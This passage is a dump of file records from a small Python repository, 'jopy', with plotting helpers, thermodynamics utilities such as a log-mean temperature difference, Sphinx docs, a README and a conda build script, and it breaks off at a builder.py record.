"alphanum_fraction": 0.5947441458702087,
"avg_line_length": 23.100000381469727,
"blob_id": "42847803cd4a127714640682307394d419d013f5",
"content_id": "84993bca55bc033ef633b50227626f3a311bdf72",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 723,
"license_type": "permissive",
"max_line_length": 69,
"num_lines": 30,
"path": "/jopy/data/sources.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nimport os\nfrom blaze.interactive import Data\n\ndef get_sqlite_handle(path):\n \"\"\"Gets a blaze object for an sqlite database\n\n Does not simplify things, but helps me remember to use blaze more\n \n Parameters\n ----------\n path : str\n The actual path to the sqlite file\n \n Returns\n -------\n blaze.interactive.Data\n The database handle or None\n \n \"\"\"\n if os.path.isfile(os.path.abspath(path)):\n tt = os.path.abspath(path)\n #tt = pathname2url(tt)\n sql = Data('sqlite:///'+tt) # A SQLite database\n return sql\n else: \n print(\"Could not find \"+path+\".\")\n return None "
},
{
"alpha_fraction": 0.5280078053474426,
"alphanum_fraction": 0.5360448360443115,
"avg_line_length": 35.66964340209961,
"blob_id": "dc81f304153c806b2a21ce9fda7d0d8d562d4b49",
"content_id": "70a9acedb8f515742fc11ba5c300951bcca6b348",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4106,
"license_type": "permissive",
"max_line_length": 108,
"num_lines": 112,
"path": "/jopy/styles/plots.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\nimport matplotlib\nimport matplotlib.pyplot as plt \nimport copy\n\nclass Figure(matplotlib.figure.Figure):\n \n def _get_axis(self,**kwargs):\n ax = kwargs.pop('ax', self._get_axes()[0])\n return ax\n \n \n def _get_axes(self,**kwargs): \n ax = kwargs.pop('ax', [])\n ax = kwargs.pop('axs', ax) \n if ax is None or len(ax)<1:\n try: ax = super(Figure, self)._get_axes()\n except: ax = [plt.gca()]; pass\n return ax\n \n \n def get_legend_handles_labels_axis(self,ax=None,axs=None):\n \"\"\"Extracts the handles and labels from an axis or from a list of axes. \n \n Useful for manual legend processing and customisation.\n \n \"\"\"\n ax = self._get_axes(ax=ax,axs=axs)\n handles = []; labels = []\n for a in ax:\n handlestmp, labelstmp = a.get_legend_handles_labels()\n handles.extend(handlestmp)\n labels.extend(labelstmp)\n return handles, labels, ax[0]\n \n \n def draw_legend(self, **kwargs):\n \"\"\"Puts a legend on the provided axis. \n \n Can be used with kwargs like ncol=2 and alike, which are passed \n on to the corrresponding pyplot routines.\n \n \"\"\"\n tc = kwargs.pop('textcolour', matplotlib.rcParams[\"text.color\"])\n tc = kwargs.pop('textcolor', tc)\n\n #kwargs.setdefault('loc', 0)\n #kwargs.setdefault('frameon', True)\n\n h, l, a = self.get_legend_handles_labels_axis(ax=kwargs.pop('ax', None),axs=kwargs.pop('axs', None))\n #handles = copy.copy(kwargs.pop('handles', handles))\n handles = []\n for h in kwargs.pop('handles', h):\n handles.append(copy.copy(h))\n handles[-1].set_alpha(1.0)\n labels = []\n for l in kwargs.pop('labels', l):\n labels.append(copy.copy(l))\n legend = a.legend(handles,labels,**kwargs)\n try:\n rect = legend.get_frame()\n rect.set_facecolor(matplotlib.rcParams[\"grid.color\"])\n rect.set_linewidth(0)\n rect.set_edgecolor(tc)\n # Change the alpha value, make sure it is visible\n def set_alpha(objList):\n for o in objList:\n try: o.set_alpha(1.0)\n except: matplotlib.artist.setp(o, alpha=1.0); pass\n #mpl.artist.setp(o, markersize=6)\n\n #mpl.artist.setp(o, alpha=np.max([1.0,o.get_alpha()]))\n # h.set_alpha(np.max([1.0,h.get_alpha()]))\n # #mpl.artist.setp(h, alpha=np.max([1.0,h.get_alpha()]))\n # mpl.artist.setp(h, markersize=6)\n set_alpha(legend.legendHandles)\n set_alpha(legend.get_lines())\n set_alpha(legend.get_patches())\n #\n #for h in legend.legendHandles:\n # h.set_alpha(np.max([1.0,h.get_alpha()]))\n # #mpl.artist.setp(h, alpha=np.max([1.0,h.get_alpha()]))\n # mpl.artist.setp(h, markersize=6)\n # Change the legend label colors to almost black, too\n for t in legend.texts:\n t.set_color(tc)\n except AttributeError:\n # There are no labled objects\n pass\n return legend\n \n def to_file(self, name, **kwargs):\n dic = dict(bbox_inches='tight')\n dic.update(**kwargs)\n self.savefig(name, **dic)\n \n def to_raster(self, name, **kwargs):\n dic = dict(dpi=300)\n dic.update(**kwargs)\n if name.endswith(\".png\") or name.endswith(\".jpg\"):\n self.to_file(name, **dic)\n else:\n raise ValueError(\"You can only save jpg and png images as raster images.\")\n \n def to_power_point(self, name, **kwargs):\n dic = dict(dpi=600, transparent=True)\n dic.update(**kwargs)\n if name.endswith(\".png\"):\n self.to_raster(name, **dic)\n else:\n raise ValueError(\"You should use png images with MS PowerPoint.\")"
},
{
"alpha_fraction": 0.5511550903320312,
"alphanum_fraction": 0.5511550903320312,
"avg_line_length": 15.722222328186035,
"blob_id": "0d0005415f617ce388a4f0d0666a6f4c2e934011",
"content_id": "72c6a73c34789b512baa271d9ed0c34535647625",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 303,
"license_type": "permissive",
"max_line_length": 37,
"num_lines": 18,
"path": "/docs/code/jopy.recip.rst",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "jopy.recip package\n==================\n\n.. automodule:: jopy.recip\n :members:\n :undoc-members:\n :show-inheritance:\n\nSubmodules\n----------\n\njopy.recip.mechanisms module\n----------------------------\n\n.. automodule:: jopy.recip.mechanisms\n :members:\n :undoc-members:\n :show-inheritance:\n\n\n"
},
{
"alpha_fraction": 0.6688396334648132,
"alphanum_fraction": 0.6844850182533264,
"avg_line_length": 20.33333396911621,
"blob_id": "951ee1d87ec859b6a44e1372ba134c67a71dcf82",
"content_id": "cc500eb97e62fa6b9b77bda7b650a90a40ee1111",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 767,
"license_type": "permissive",
"max_line_length": 96,
"num_lines": 36,
"path": "/docs/index.rst",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": ".. complexity documentation master file, created by\n sphinx-quickstart on Tue Jul 9 22:26:36 2013.\n You can adapt this file completely to your liking, but it should at least\n contain the root `toctree` directive.\n\n.. include:: ../README.rst\n\nContents:\n=========\n\n.. toctree::\n :maxdepth: 2\n\n installation\n usage\n contributing\n authors\n history\n code/index\n\nFeedback\n========\n\nIf you have any suggestions or questions about **Jorrit's Python Package** feel free to email me\nat [email protected].\n\nIf you encounter any errors or problems with **Jorrit's Python Package**, please let me know!\nOpen an Issue at the GitHub http://github.com/jowr/jopy main repository.\n\n\nIndices and tables\n==================\n \n* :ref:`genindex`\n* :ref:`modindex`\n* :ref:`search`"
},
{
"alpha_fraction": 0.5406091213226318,
"alphanum_fraction": 0.5812183022499084,
"avg_line_length": 18.75,
"blob_id": "adf3fd1b7f7ceaecd0c2938b75fd208b3fc4cade",
"content_id": "3d4e704402c32f1c591a76799c5332c35a3c2ef7",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 394,
"license_type": "permissive",
"max_line_length": 47,
"num_lines": 20,
"path": "/test/test_thermo/__init__.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nimport jopy.thermo\n\nclass TestUtils(object):\n\n @classmethod\n def setup_class(cls):\n pass\n\n def test_lmtd(self):\n res = jopy.thermo.lmtd(0.0, 0.0)\n assert res == 0.0\n res = jopy.thermo.lmtd(10.0, 10.0)\n print(res,10.0)\n\n @classmethod\n def teardown_class(cls):\n pass"
},
{
"alpha_fraction": 0.546875,
"alphanum_fraction": 0.5657894611358643,
"avg_line_length": 22.72549057006836,
"blob_id": "d84dcc131acdee55399959efa9749010b15b4373",
"content_id": "ee813ccaae6ef21ae5f14db99e3b03905b8db8d7",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1216,
"license_type": "permissive",
"max_line_length": 71,
"num_lines": 51,
"path": "/jopy/thermo/utils.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nimport numpy as np\nimport warnings\n\nclass UnitError(ValueError):\n pass\n\ndef check_T(T):\n \"\"\"Check for valid temperature\n \n Parameters\n ----------\n T : float or numpy.array in Kelvin [K]\n \n Returns\n -------\n bool\n True if valid, else False\n \n \"\"\"\n if np.any(T<0.0): raise UnitError(\"negative temperature: \"+str(T))\n if np.any(T>1e4): raise UnitError(\"too high temperature: \"+str(T))\n \n if np.any(T<250.0): warnings.warn(\"very low temperature: \"+str(T))\n if np.any(T>1.0e3): warnings.warn(\"very high temperature: \"+str(T))\n \n return True\n\n\ndef check_p(p):\n \"\"\"Check for valid pressure\n \n Parameters\n ----------\n p : float or numpy.array in Pascal [Pa]\n \n Returns\n -------\n bool\n True if valid, else False\n \n \"\"\"\n if np.any(p<0.0): raise UnitError(\"negative pressure: \"+str(p))\n if np.any(p>1e8): raise UnitError(\"too high pressure: \"+str(p))\n \n if np.any(p<100.0): warnings.warn(\"very low pressure: \"+str(p))\n if np.any(p>1.0e7): warnings.warn(\"very high pressure: \"+str(p))\n \n return True \n\n "
},
{
"alpha_fraction": 0.5476190447807312,
"alphanum_fraction": 0.5476190447807312,
"avg_line_length": 15.222222328186035,
"blob_id": "64a45e44c793bf76d854d4062dca81fb5b537155",
"content_id": "8e36dd7eccd42f8201dd255c3d3d49a8d6994805",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 294,
"license_type": "permissive",
"max_line_length": 33,
"num_lines": 18,
"path": "/docs/code/jopy.thermo.rst",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "jopy.thermo package\n===================\n\n.. automodule:: jopy.thermo\n :members:\n :undoc-members:\n :show-inheritance:\n\nSubmodules\n----------\n\njopy.thermo.utils module\n------------------------\n\n.. automodule:: jopy.thermo.utils\n :members:\n :undoc-members:\n :show-inheritance:\n\n\n"
},
{
"alpha_fraction": 0.551487386226654,
"alphanum_fraction": 0.551487386226654,
"avg_line_length": 15.730769157409668,
"blob_id": "2139fb0cea0331aafce0f420b0515d3e8467b512",
"content_id": "84f0bf54f6827df7720e8aacbe1f39588b4ff95b",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 437,
"license_type": "permissive",
"max_line_length": 33,
"num_lines": 26,
"path": "/docs/code/jopy.styles.rst",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "jopy.styles package\n===================\n\n.. automodule:: jopy.styles\n :members:\n :undoc-members:\n :show-inheritance:\n\nSubmodules\n----------\n\njopy.styles.mplib module\n------------------------\n\n.. automodule:: jopy.styles.mplib\n :members:\n :undoc-members:\n :show-inheritance:\n\njopy.styles.plots module\n------------------------\n\n.. automodule:: jopy.styles.plots\n :members:\n :undoc-members:\n :show-inheritance:\n\n\n"
},
{
"alpha_fraction": 0.5480660796165466,
"alphanum_fraction": 0.5715358853340149,
"avg_line_length": 31.674846649169922,
"blob_id": "ad73681796b997ade45fb93ab35beb0d918b236c",
"content_id": "fc6679899124d277149fa50bdb127542f886a669",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5326,
"license_type": "permissive",
"max_line_length": 109,
"num_lines": 163,
"path": "/jopy/utils.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nimport numpy as np\nfrom numpy import pi,e\n\ndef module_class_dict(mod):\n \"\"\"Get all classes from a module in a dict with the names\n \n Parameters\n ----------\n mod : Python module\n The module to extract the classes from.\n \n \"\"\"\n mod_name = str(mod).split(\"'\")[1]\n ret = {}\n for name, cls in mod.__dict__.items():\n if isinstance(cls, type):\n if mod_name in str(cls):\n ret[name] = cls\n return ret\n \n# def module_class_dict(mod):\n# \"\"\"\n# Returns a list of names of the abstract base\n# classes that should not be instantiated. Can\n# be used to build an ignore list.\n# \"\"\"\n# mod_name = str(mod).split(\"'\")[1]\n# print(mod_name)\n# ignList = {}\n# for i in inspect.getmembers(mod):\n# if inspect.isclass(i[1]):\n# ignList[i[0]] = i[1]\n# return ignList\n\n #dict([(name, cls) for name, cls in mod.__dict__.items() if isinstance(cls, type)])\n\ndef transition_factor(start=0.25, stop=0.75, position=0.5, order=2):\n \"\"\"Weighting factor for smooth transition (from 0 to 1)\n \n This function returns a value between 0 and 1. A smooth transition\n is achieved by means of defining the position and the transition\n interval from start to stop parameter. Outside this interval,\n the 0 and the 1 are returned, respectively. This transition function\n with up to two smooth derivatives was taken from [1]. If you provide\n an order higher than 2, the generalised logistic function [2] will be\n used to calculated the transition curve.\n\n Parameters\n ----------\n start : float\n start of transition interval; default 0.25\n stop : float \n end of transition interval; default 0.75\n position : float \n current position; default 0.5\n order : integer\n Smooth up to which derivative?; default 2\n\n Returns\n -------\n float \n smooth transition between 0 and 1 from start to stop [-]\n \n \n Use tFactor in an equation like this:\n tFactor = transition_factor(start=start,stop=stop,position=position);\n smoothed = tFactor*1stValue + (1 - tFactor)*2ndValue;\n \n References\n ----------\n\n [1] Christoph C Richter, Proposal of New Object-Oriented Equation-Based Model\n Libraries for Thermodynamic Systems, PhD thesis, Technical University\n Carolo-Wilhelmina Braunschweig, 2008\n [2] Generalised logistic function on http://en.wikipedia.org/wiki/Generalised_logistic_function\n \n \"\"\"\n a_map = [-1./2., -2./pi, -3./4., -8./pi] #First parameters\n b_map = [ 1./2., 1./2., 1./2., 1./2.] #Second parameters\n\n #Rename variables to match with Richter2008, p.68ff\n phi = 0.0 #\"current phase\";\n a = 0.0 # \"multiplier\";\n b = 0.0 # \"addition\";\n x_t = 0.0 # \"Start of transition\";\n x = 0.0 # \"Current position\";\n DELTAx = 0.0 # \"Length of transition\";\n\n #Parameters for generalised logistic function\n A = 0. #\"Lower asymptote\";\n K = 1. #\"Upper asymptote\";\n B = 8. #\"Growth rate\";\n nu= 1. #\"Symmetry changes\";\n Q = nu #\"Zero correction\";\n M = nu #\"Maximum growth for Q = nu\";\n X = 0.\n END = 0.\n START = 0.\n factor = 0.\n\n order = int(order)\n if order < 0:\n raise ValueError(\"This function only supports positive values for the order of smooth derivatives.\")\n\n swapper = None\n if start>stop:\n swapper = start\n start = stop\n stop = swapper\n #raise Exception(\"There is only support for positive differences, please provide start < stop.\")\n\n position = np.array(position)\n res = np.zeros_like(position)\n res[position < start] = 1.0\n res[position > stop ] = 0.0\n theMask = (position >= start) & (position <= stop)\n position = position[theMask]\n\n #0th to 2nd order\n if order <= 2:\n a = a_map[order];\n b = b_map[order];\n x = position;\n DELTAx = stop - start;\n x_t = start + 0.5*DELTAx;\n phi = (x - x_t) / DELTAx * pi;\n else: #higher order\n #We need to do some arbitrary scaling:\n END = 4.0\n START = -2.0\n factor= (END-START) / (stop-start)\n X = START + (position - start) * factor\n\n\n resTMP = np.zeros_like(position)\n\n if (order == 0):\n for i in range(len(position)):\n resTMP[i] = a * np.sin(phi[i]) + b\n elif (order == 1):\n for i in range(len(position)):\n resTMP[i] = a * ( 1./2. * np.cos(phi[i]) * np.sin(phi[i]) + 1./2.*phi[i]) + b\n elif (order == 2):\n for i in range(len(position)):\n resTMP[i] = a * ( 1./3. * np.cos(phi[i])**2. * np.sin(phi[i]) + 2./3. * np.sin(phi[i])) + b\n else:\n for i in range(len(position)):\n resTMP[i] = 1. - (A + (K-A) / np.power( 1. + Q * np.power(e,(-B*(X[i] - M))),1./nu))\n\n res[theMask] = resTMP\n \n if swapper is None: return 1-res\n else: return res\n\n\ndef transition_factor_alt(center = 0.5, length = 1.0, position = 0.0, order = 2):\n \"\"\"Please see :py:func:`.transition_factor` for documentation\n \n \"\"\"\n return transition_factor(start=center-0.5*length, stop=center+0.5*length, position=position, order=order)\n"
},
{
"alpha_fraction": 0.6313559412956238,
"alphanum_fraction": 0.6313559412956238,
"avg_line_length": 17.153846740722656,
"blob_id": "58fe9aa6771b07015a7d0125d35b0b03b88a44d2",
"content_id": "6f89530f02db0193cd3901768b8775fb70ec1f00",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 236,
"license_type": "permissive",
"max_line_length": 52,
"num_lines": 13,
"path": "/docs/installation.rst",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "============\nInstallation\n============\n\nAt the command line either via easy_install or pip::\n\n $ easy_install jopy\n $ pip install jopy\n\nOr, if you have virtualenvwrapper installed::\n\n $ mkvirtualenv jopy\n $ pip install jopy\n"
},
{
"alpha_fraction": 0.665371835231781,
"alphanum_fraction": 0.665371835231781,
"avg_line_length": 27.58730125427246,
"blob_id": "7c90936780904cda212d69d06d97c220bd87f149",
"content_id": "7637b9dd00d8df802fb0de0fac2f34ba821928a6",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 1802,
"license_type": "permissive",
"max_line_length": 114,
"num_lines": 63,
"path": "/README.rst",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "\n=============================\nJorrit's Python Package\n=============================\n.. |pypirelease| - source |ghrelease|\n\n|travis| |appveyor| |coveralls| |docs| |license|\n\n.. \n Versions: binary |pypirelease| - source |ghrelease|\n \n Builds: Linux |travis| - Windows |appveyor|\n \n Tests: |codecov| |coveralls|\n \n Docs: |docs| License: |license|\n\n\nMy swiss army knife for plotting and simulation in Python\n\n\nFeatures\n--------\n\n* TODO\n\n\nInstallation\n------------\n\nFor Linux, you can find up to date instructions in `.travis.yml` and `appveyor.yml` can be used for Windows hosts.\n\n\n\n.. |pypirelease| image:: https://badge.fury.io/py/jopy.png\n :target: http://badge.fury.io/py/jopy\n\n.. |ghrelease| image:: https://img.shields.io/github/release/jowr/jopy.svg\n :target: https://github.com/jowr/jopy/releases\n :alt: version tag\n \n.. |travis| image:: https://img.shields.io/travis/jowr/jopy.svg?label=Linux\n :target: https://travis-ci.org/jowr/jopy\n :alt: Travis CI Linux builds\n \n.. |appveyor| image:: https://img.shields.io/appveyor/ci/jowr/jopy.svg?label=Windows\n :target: https://ci.appveyor.com/project/jowr/jopy/branch/master\n :alt: AppVeyor Windows builds\n \n.. |codecov| image:: https://codecov.io/github/jowr/jopy/coverage.svg?branch=master\n :target: https://codecov.io/github/jowr/jopy\n :alt: codecov.io\n\n.. |coveralls| image:: https://coveralls.io/repos/jowr/jopy/badge.svg\n :target: https://coveralls.io/r/jowr/jopy\n :alt: coveralls.io\n\n.. |docs| image:: https://readthedocs.org/projects/jopy/badge/?version=latest\n :target: https://readthedocs.org/projects/jopy/\n :alt: ReadTheDocs builds\n\n.. |license| image:: https://img.shields.io/github/license/jowr/jopy.svg\n :target: https://github.com/jowr/jopy/blob/master/LICENSE\n :alt: license\n"
},
{
"alpha_fraction": 0.5658693313598633,
"alphanum_fraction": 0.5965726375579834,
"avg_line_length": 36.09933853149414,
"blob_id": "57ae1f07967c187d2450b46579aa52c0df127a15",
"content_id": "e4a9466cae87ae8dfe9fd19a06c80975c41503e5",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5602,
"license_type": "permissive",
"max_line_length": 130,
"num_lines": 151,
"path": "/jopy/thermo/__init__.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nimport matplotlib.pyplot as plt\n\nimport numpy as np\n\nfrom ..utils import transition_factor\nfrom .utils import check_T\n\n\n\n\n\ndef eta_carnot(T_cold,T_hot):\n check_T(T_cold)\n check_T(T_hot)\n return 1. - T_cold / T_hot\n\ndef __lmtd(Delta_T1, Delta_T2):\n return (Delta_T1 - Delta_T2) / np.log(Delta_T1 / Delta_T2)\n\ndef _lmtd_libpf(Delta_T1, Delta_T2, deadBand=0.1):\n \"\"\"Logarithmic mean temperature difference\n \n This function returns the logarithmic mean temperature \n difference as calculated from temperature differences at\n both end. It is a relatively robust solution that also\n is used in libpf for process simulations.\n \n Parameters\n ----------\n Delta_T1 : scalar or array_like\n Temperature difference on one side of the heat exchanger \n Delta_T2 : scalar or array_like\n Temperature difference on the other side of the heat exchanger \n deadBand : scalar or array_like\n Absolute temperature difference that is considered to be 0.0 K\n \n Returns\n -------\n scalar or array_like\n The calculated logarithmic mean temperature difference\n \n \"\"\" \n same = np.abs(Delta_T1-Delta_T2) <= 0.1\n if (np.abs(Delta_T1) <= deadBand) or same: # small first value\n if (np.abs(Delta_T2) <= deadBand) or same: # small second value\n LMTD = (Delta_T1 + Delta_T2) / 2.0\n else: # normal second value\n Delta_T1clip = deadBand*Delta_T2 / np.abs(Delta_T2) #{absolute value is set to deadBand, sign is the same as Delta_T2}\n LMTD = ((Delta_T1clip - Delta_T2) / (Delta_T1 - Delta_T2)) * __lmtd(Delta_T1clip,Delta_T2)\n else:\n if (np.abs(Delta_T2) <= deadBand):\n Delta_T2clip = deadBand*Delta_T1/np.abs(Delta_T1)\n LMTD = ((Delta_T1 - Delta_T2clip) / (Delta_T1 - Delta_T2)) * __lmtd(Delta_T1,Delta_T2clip)\n else:\n if ((Delta_T1 * Delta_T2) <= 0.0): # The deltas have different signs \n if (np.abs(Delta_T1) <= np.abs(Delta_T2)): # smaller first value\n Delta_T1clip = deadBand*Delta_T2/np.abs(Delta_T2)\n LMTD = ((Delta_T1clip - Delta_T2) / (Delta_T1 - Delta_T2)) * __lmtd(Delta_T1clip,Delta_T2)\n else: # smaller second value\n Delta_T2clip = deadBand*Delta_T1/np.abs(Delta_T1)\n LMTD = ((Delta_T1 - Delta_T2clip) / (Delta_T1 - Delta_T2)) * __lmtd(Delta_T1,Delta_T2clip)\n else:\n LMTD = __lmtd(Delta_T1,Delta_T2)\n \n return LMTD\n\n\ndef _lmtd_jopy(Delta_T1, Delta_T2, dead_band=0.1):\n \"\"\"Logarithmic mean temperature difference\n \n This function returns the logarithmic mean temperature \n difference as calculated from temperature differences at\n both end. \n \n Parameters\n ----------\n Delta_T1 : scalar or array_like\n Temperature difference on one side of the heat exchanger \n Delta_T2 : scalar or array_like\n Temperature difference on the other side of the heat exchanger \n dead_band : scalar or array_like\n Absolute temperature difference that is considered to be 0.0 K\n \n Returns\n -------\n scalar or array_like\n The calculated logarithmic mean temperature difference\n \n \"\"\"\n Delta_T1 = np.asarray(Delta_T1)\n Delta_T2 = np.asarray(Delta_T2) \n res = np.empty_like(Delta_T1)\n mask = np.abs(Delta_T1) < np.abs(Delta_T2) \n res[mask] = np.sign(Delta_T2[mask]) \n Delta_T1[mask] = res[mask] * np.maximum(res[mask] * Delta_T1[mask], dead_band)\n mask = np.logical_not(mask)\n res[mask] = np.sign(Delta_T1[mask])\n Delta_T2[mask] = res[mask] * np.maximum(res[mask] * Delta_T2[mask], dead_band)\n \n # Now the inputs are sanitised\n mask = np.abs(Delta_T1-Delta_T2) <= dead_band\n res[mask] = (Delta_T1[mask] + Delta_T2[mask]) / 2.0\n #res[mask] = transition_factor(-dead_band, dead_band, Delta_T1-Delta_T2[mask])\n mask = np.logical_not(mask)\n res[mask] = __lmtd(Delta_T1[mask], Delta_T2[mask])\n return res\n \n\ndef lmtd(Delta_T1, Delta_T2, dead_band=0.1):\n \"\"\"Logarithmic mean temperature difference\n \n This function returns the logarithmic mean temperature \n difference as calculated from temperature differences at\n both end. \n \n Parameters\n ----------\n Delta_T1 : scalar or array_like\n Temperature difference on one side of the heat exchanger \n Delta_T2 : scalar or array_like\n Temperature difference on the other side of the heat exchanger \n dead_band : scalar or array_like\n Absolute temperature difference that is considered to be the minimum\n \n Returns\n -------\n array_like\n The calculated logarithmic mean temperature difference\n \n Please see :py:func:`._lmtd_jopy` for more documentation.\n \n \"\"\"\n return _lmtd_jopy(Delta_T1, Delta_T2, dead_band) \n #return np.vectorize(_lmtd_libpf)(Delta_T1, Delta_T2, dead_band)\n\n\nif __name__ == \"__main__\":\n \n var = np.linspace(-20, 20)\n con = np.zeros_like(var)+10\n plt.plot(var,lmtd(var,con),'o')\n plt.show()\n \n #print(np.vectorize(_lmtd_libpf)([0,1,5,10,10,10,10],[10,10,10,10,5,1,0]))\n #print(np.vectorize(_lmtd_libpf)([-0,-1,-5,-10,-10,-10,-10],[10,10,10,10,5,1,0]))\n \n #res = _lmtd_libpf(10.0, 10.0)\n #print(res,10.0)\n"
},
{
"alpha_fraction": 0.5800970792770386,
"alphanum_fraction": 0.580703854560852,
"avg_line_length": 28.446428298950195,
"blob_id": "55d9f376e35088ec013de29cea0ee0e80f5403f2",
"content_id": "b78c4c0428710949046cfba77db18b8c446a6367",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1648,
"license_type": "permissive",
"max_line_length": 72,
"num_lines": 56,
"path": "/jopy/base.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nclass JopyBaseClass(object):\n \"\"\"The base class for all objects\n \n The mother of all classes in the jopy module. Implements \n basic functionality for debugging and exception handling.\n \n Extended description of function, just a usage example \n for the NumPy style docstrings. See also: \n http://sphinx-doc.org/ext/example_numpy.html#example-numpy\n \n \"\"\" \n def __init__(self):\n self.DEBUG = False\n \n @property\n def DEBUG(self):\n return self._DEBUG\n @DEBUG.setter\n def DEBUG(self, value):\n self._DEBUG = value\n @DEBUG.deleter\n def DEBUG(self):\n del self._DEBUG \n \n def autolog(self, message):\n \"\"\"Centralised logging facility\n\n Use this function in your code to write to the log files. It can\n also be extended to perform some more sophisticated actions \n for advanced error detection.\n \n Function name and line number get prepended automatically.\n \n Parameters\n ----------\n message : str\n message to log\n \n \"\"\"\n import inspect, logging\n # Get the previous frame in the stack, otherwise it would\n # be this function!!!\n func = inspect.currentframe().f_back.f_code\n msg = \"%s: %s in %s:%i\" % (\n message, \n func.co_name, \n func.co_filename, \n func.co_firstlineno\n )\n # Dump the message + the name of this function to the log.\n logging.debug(msg)\n if self.DEBUG:\n print(msg)"
},
{
"alpha_fraction": 0.5813953280448914,
"alphanum_fraction": 0.5813953280448914,
"avg_line_length": 11.142857551574707,
"blob_id": "54aac390b7c9268ee1cc7da263ba096613b55dcd",
"content_id": "2a3dac43a635cc0f72828454ba5db61ab7b56a7c",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 86,
"license_type": "permissive",
"max_line_length": 45,
"num_lines": 7,
"path": "/docs/usage.rst",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "========\nUsage\n========\n\nTo use Jorrit's Python Package in a project::\n\n\timport jopy\n\n"
},
{
"alpha_fraction": 0.6740000247955322,
"alphanum_fraction": 0.6880000233650208,
"avg_line_length": 22.809524536132812,
"blob_id": "8ccb532956f54f761784e2d0aef6479511910dd9",
"content_id": "1942fcc106057ddd6b351eceba01ac068e6aa24b",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 1000,
"license_type": "permissive",
"max_line_length": 88,
"num_lines": 42,
"path": "/dev/conda_submit.bsh",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n#\n#\n# Temporary install of miniconda for Python 2\n#wget https://repo.continuum.io/miniconda/Miniconda-latest-Linux-x86_64.sh\n#bash Miniconda-latest-Linux-x86_64.sh\n#\n# conda install unxutils # needed on Windows!\n# Activate conda\nCONDA_ROOT=`conda info --root`\nsource ${CONDA_ROOT}/bin/activate root\nCMD=\"${CONDA_ROOT}/bin/conda install conda-env conda-build binstar binstar-build jinja2\"\n\n$CMD\nif [ $? -eq 0 ] ; then\n echo \"Command succeeded\"\nelse\n echo \"Command failed, trying with sudo\"\n sudo $CMD\n if [ $? -eq 0 ] ; then\n echo \"Command succeeded\"\n else\n echo \"Command failed with sudo as well, aborting.\"\n exit 1\n fi\nfi\n\npushd ..\nconda build --py all . \n#binstar login\nmkdir -p build\nfor FILENAME in $(conda build --output --py all coolprop); do\n conda convert --platform all \"${FILENAME}\" -o build/\ndone\nbinstar upload --channel dev build/*\n#rm -rf build\npopd\n\n#binstar login\n#binstar upload $(conda build --output --py all coolprop)\n\nexit 0\n"
},
{
"alpha_fraction": 0.6336342692375183,
"alphanum_fraction": 0.6396186351776123,
"avg_line_length": 32.31081008911133,
"blob_id": "fdd9780065a5fad32f466ac7225437028df02073",
"content_id": "b332a70023f52cbba757442d9940090f9e195966",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9859,
"license_type": "permissive",
"max_line_length": 110,
"num_lines": 296,
"path": "/dev/builder.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
